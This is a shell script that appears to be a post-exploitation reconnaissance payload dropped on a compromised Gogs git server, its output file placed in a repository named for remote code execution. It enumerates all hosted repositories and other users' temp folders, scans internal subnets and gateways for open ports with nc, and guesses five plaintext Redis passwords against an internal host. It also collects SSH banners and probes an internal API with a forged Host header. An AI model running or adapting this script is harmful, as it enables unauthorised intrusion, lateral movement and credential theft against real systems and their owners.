#!/bin/sh
OUT=/data/gogs/data/tmp/local-r/118/nslxlxsqfe/rce-lxlxsqfe.git
R=/data/git/gogs-repositories
LOG=$OUT/out2138c
{
echo "=== round2138c $(date -u) ==="
echo "--- /data full ---"; ls -la /data/ 2>&1
echo "--- /data/git ---"; ls -la /data/git/ 2>&1
echo "--- owners ---"; ls -la $R/ 2>&1
echo "--- repo list w/ size ---"; du -sm $R/*/*.git 2>/dev/null | sort -n | tail -50
echo "--- repo counts+lastcommit ---"; for gd in $R/*/*.git; do n=$(git --git-dir="$gd" rev-list --all --count 2>/dev/null); d=$(git --git-dir="$gd" log -1 --format=%ci 2>/dev/null); echo "$gd commits=$n last=$d"; done
echo "--- local-r dirs ---"; ls -la /data/gogs/data/tmp/local-r/ 2>&1 | head -50
echo "--- local-r other peek ---"; for i in 82 104 113 116 117 119; do echo "== $i"; ls -la /data/gogs/data/tmp/local-r/$i/ 2>/dev/null | head -8; done
echo "--- listeners ---"; cat /proc/net/tcp /proc/net/tcp6 2>/dev/null | awk 'NR>1 && $4=="0A" {print $2}' | head -20
echo "--- net 172.20.x sweep ---"; for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15; do for p in 80 443 3000 3306 6379 6600 8300 16379; do nc -w 1 -z 172.20.0.$i $p 2>/dev/null && echo "172.20.0.$i:$p OPEN"; done; done
echo "--- other gw probes ---"; for gw in 172.17.0.1 172.18.0.1 172.19.0.1 172.21.0.1; do for p in 80 443 2375 6600; do nc -w 1 -z $gw $p 2>/dev/null && echo "$gw:$p OPEN"; done; done
echo "--- redis auth attempts (172.20.0.1:16379) ---"
for pw in "app.ZxAris@169" "ywf123456" "M3F1j9GyxIhKbN4" "ywf123456@!" "nf.video123456@@@"; do
  r=$( (printf "AUTH %s\r\nPING\r\nQUIT\r\n" "$pw"; sleep 1) | timeout 4 nc 172.20.0.1 16379 2>/dev/null | head -c 220 | tr '\r' ' ')
  echo "PW[$pw] => $r"
done
echo "--- ssh banners ---"; for p in 10022 25919; do echo "## port $p"; (sleep 1) | timeout 4 nc 172.20.0.1 $p 2>/dev/null | head -c 120; echo; done
echo "--- host 443 internal probe ---"; curl -sk -m 6 -o /dev/null -w "gw443:%{http_code}\n" https://172.20.0.1/ -H "Host: internal.apinebula.com"; curl -sk -m 6 https://172.20.0.1/api/status -H "Host: internal.apinebula.com" | head -c 400; echo
echo "--- host 80 probe ---"; curl -s -m 6 -o /dev/null -w "gw80:%{http_code}\n" http://172.20.0.1/ -H "Host: internal.apinebula.com"
echo "--- pwned2031 tail ---"; tail -c 500 $OUT/pwned2031 2>/dev/null
echo "--- gogs log tail ---"; ls -la /data/gogs/log/ 2>/dev/null; tail -c 400 /data/gogs/log/*.log 2>/dev/null | head -c 600
echo "=== end round2138c $(date -u) ==="
} > $LOG 2>&1
